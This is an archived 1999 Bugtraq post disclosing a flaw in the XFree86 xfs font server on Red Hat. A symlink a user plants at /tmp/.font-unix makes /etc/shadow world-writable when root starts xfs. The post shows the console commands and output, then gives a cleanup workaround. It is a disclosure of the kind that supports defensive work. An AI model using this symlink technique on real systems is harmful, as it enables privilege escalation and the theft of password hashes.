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Bugtraq archives for 1st quarter (Jan-Mar) 1999: Bug in xfs

Bug in xfs

Lukasz Trabinski (lukaszLT.WSISIZ.EDU.PL)
Tue, 30 Mar 1999 00:14:34 +0200


I hope that's information will be useful for making new patch for

I found bug in xfs

(Packet XFree86-xfs- in RedHat 5.1 and probably in RedHat 5.2
updates, too)
Xfs is a font server for XFree86, it's also create directory in /tmp
That directory name .font-unix

Let's make a little check:

On first console (I logged as a normal user)

[lukaszlt /tmp]$ cat /etc/shadow
cat: /etc/shadow: Permission denied

[lukaszlt /tmp]$ ls -all /etc/shadow
-r--------   1 root     root          544 Mar 30 00:04 /etc/shadow

[lukaszlt /tmp]$ ll
total 2
drwxrwxrwt   2 root     root         1024 Mar 30 00:05 .
drwxr-xr-x  18 root     root         1024 Mar 23 00:10 ..
lrwxrwxrwx   1 lukasz   users          11 Mar 30 00:05 .font-unix ->

On second console, as root

[rootlt /root]# xfs &
[1] 2021
[rootlt /root]# _FontTransSocketCreateListener: failed to bind listener
_FontTransSocketUNIXCreateListener: ...SocketCreateListener() failed
_FontTransMakeAllCOTSServerListeners: failed to create listener for local

On first console:

[lukaszlt /tmp]$ ls -all /etc/shadow
-rwxrwxrwt   1 root     root          544 Mar 30 00:04 /etc/shadow
That's all ;)

Solution, As root before run xfs, make rm -rf /tmp/.font-unix

Sorry for my broken English ;(

                    _[   Lukasz Trabinski   ]_
PgP Key: finger:lukaszoceanic.wsisiz.edu.pl, SysAdmin wsisiz.edu.pl